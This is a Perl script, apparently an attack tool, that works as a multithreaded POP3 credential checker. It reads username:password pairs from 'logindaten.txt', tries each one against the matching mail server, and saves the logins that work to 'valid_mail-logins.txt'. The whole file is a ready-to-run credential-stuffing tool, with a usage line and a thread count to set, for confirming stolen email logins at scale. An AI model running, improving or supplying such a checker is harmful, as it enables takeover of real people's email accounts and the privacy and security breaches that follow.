use threads;
use warnings;
use Net::POP3;
my $counter=0;
my $threads = $ARGV[0];
if (@ARGV <1){print "Usage: Check.pl Threadnumber [Example: check.pl 10]\n";exit;}
my $trigger = 10;
my @accs;

&begin;
print "[-] Starting....\n[-]\n";
foreach my $item (@accs){

	my  $ctr = 0;foreach my $thr (threads->list) {	$ctr++;}
	if ($counter == $trigger){print "[-] $counter of ".scalar(@accs)."\n";$trigger = $trigger + 10;}
	if ($ctr < $threads){	$counter++;threads->create(\&connect,$item);}else {redo;}
}
while (threads->list) {}
print "[-]\n[-] Done .... ";

 sub connect{
	my $item = shift;
	my @temp = split( /:/, $item);
	chomp($temp[0]);
    chomp($temp[1]);
	my $username = $temp[0];
	my $password = $temp[1];
    for(my $i = 0; $i < @pop3_kennung; $i++) {
        if($username =~ m/$pop3_kennung[$i]/) {
            chomp($pop3_server[$i] );
            if($pop = Net::POP3->new($pop3_server[$i], Timeout => 20 )) {
				my $ret;
                if( $ret = $pop->login($username, $password) and  $ret > 0) {
					&handle($username.":".$password);
				}
            close($pop);
            }
        }
    }
	 threads->detach();
}

sub handle{
	my $tmps = shift;
    open(FILE_OUT,">> valid_mail-logins.txt");
    print FILE_OUT "$tmps\n";
    close(FILE_OUT);
}

sub begin {
	open(FILE_IN_LOGIN, "logindaten.txt" ) or die("Cannot find logindaten.txt\n");
	open(FILE_IN_POP3, "pop3_server.txt" ) or die("Cannot find pop3_server.txt\n");
	while(!eof(FILE_IN_POP3)) {
		my $line = <FILE_IN_POP3>;
        my @temp = split(/:/, $line);
        push( @pop3_kennung, $temp[0]);
        push( @pop3_server, $temp[1]);
	}
	foreach (<FILE_IN_LOGIN>){
		push @accs, $_;
	}
	close(FILE_IN_LOGIN);
	close(FILE_IN_POP3);

}